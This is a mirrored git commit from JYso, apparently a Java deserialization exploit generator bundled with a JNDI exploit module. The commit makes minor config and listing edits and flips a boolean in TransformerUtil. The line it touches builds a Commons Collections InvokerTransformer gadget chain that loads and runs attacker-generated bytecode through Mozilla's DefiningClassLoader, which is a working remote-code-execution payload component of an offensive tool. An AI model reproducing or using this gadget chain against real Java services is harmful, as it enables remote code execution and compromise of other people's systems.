mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-26 16:51:52 +08:00
+BUG
This commit is contained in:
Binary file not shown.
Binary file not shown.
Binary file not shown.
Generated
-1
@@ -6,7 +6,6 @@
|
|||||||
<sourceOutputDir name="target/generated-sources/annotations" />
|
<sourceOutputDir name="target/generated-sources/annotations" />
|
||||||
<sourceTestOutputDir name="target/generated-test-sources/test-annotations" />
|
<sourceTestOutputDir name="target/generated-test-sources/test-annotations" />
|
||||||
<outputRelativeToContentRoot value="true" />
|
<outputRelativeToContentRoot value="true" />
|
||||||
<module name="JYso" />
|
|
||||||
<module name="JNDIExploit-master" />
|
<module name="JNDIExploit-master" />
|
||||||
</profile>
|
</profile>
|
||||||
</annotationProcessing>
|
</annotationProcessing>
|
||||||
|
|||||||
@@ -1,4 +1,3 @@
|
|||||||
C:.
|
|
||||||
├─.gradle Gradle构建配置文件
|
├─.gradle Gradle构建配置文件
|
||||||
│ ├─8.7
|
│ ├─8.7
|
||||||
│ │ ├─checksums
|
│ │ ├─checksums
|
||||||
|
|||||||
@@ -59,7 +59,7 @@ public class TransformerUtil {
|
|||||||
} else if (command.startsWith("EX-") || command.startsWith("LF-")) {
|
} else if (command.startsWith("EX-") || command.startsWith("LF-")) {
|
||||||
CtClass ctClass = generateClass(command);
|
CtClass ctClass = generateClass(command);
|
||||||
|
|
||||||
if (USING_MOZILLA_DEFININGCLASSLOADER) {
|
if (!USING_MOZILLA_DEFININGCLASSLOADER) {
|
||||||
// 使用 DefiningClassLoader 加载,不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader
|
// 使用 DefiningClassLoader 加载,不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader
|
||||||
// 在 NC 中可以使用
|
// 在 NC 中可以使用
|
||||||
transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};
|
transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)};
|
||||||
|
|||||||
Reference in New Issue
Block a user